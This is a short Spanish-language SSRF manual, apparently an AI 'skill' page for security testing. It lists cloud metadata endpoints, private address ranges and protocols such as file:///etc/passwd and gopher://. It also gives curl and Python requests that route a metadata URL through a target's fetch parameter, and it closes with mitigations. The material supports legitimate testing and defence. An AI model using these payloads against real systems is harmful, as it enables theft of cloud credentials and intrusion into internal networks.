¿Qué hace ssrf-server-side-request-forgery?
Manual de SSRF. Utilícelo cuando el servidor obtenga URLs, resuelva nombres de host, importe contenido remoto o pueda ser dirigido hacia redes internas, metadatos de la nube o protocolos secundarios.
¿Qué es SSRF?
Server-Side Request Forgery (SSRF) es una vulnerabilidad de seguridad que permite a un atacante inducir al servidor a realizar solicitudes HTTP a dominios arbitrarios o internos, pudiendo acceder a sistemas no previstos.
¿Cuándo usar este skill?
- Cuando el servidor procesa URLs proporcionadas por el usuario.
- Cuando el servidor resuelve nombres de host dinámicamente.
- Cuando el servidor importa contenido remoto (imágenes, datos, etc.).
- Cuando se necesita probar la seguridad de aplicaciones que interactúan con servicios externos.
Técnicas comunes de SSRF
-
Explotación de metadatos cloud
- AWS:
http://169.254.169.254/latest/meta-data/ - GCP:
http://metadata.google.internal/computeMetadata/v1/ - Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
- AWS:
-
Acceso a redes internas
- Direcciones IP privadas:
10.x.x.x,172.16.x.x–172.31.x.x,192.168.x.x - Localhost:
127.0.0.1,localhost
- Direcciones IP privadas:
-
Protocolos secundarios
file:///etc/passwdgopher://dict://ftp://
Ejemplos de uso
# Probar SSRF en una aplicación web con curl
curl -v 'http://target-app.com/fetch?url=http://169.254.169.254/latest/meta-data/'
import requests
url = "http://target-app.com/fetch"
params = {"url": "http://169.254.169.254/latest/meta-data/"}
response = requests.get(url, params=params)
print(response.text)
Medidas de mitigación
- Validar y restringir URLs permitidas en el servidor.
- Bloquear direcciones IP privadas y de bucle local en las solicitudes de salida.
- Usar listas blancas de dominios permitidos.
- Deshabilitar protocolos no necesarios (file://, gopher://, etc.).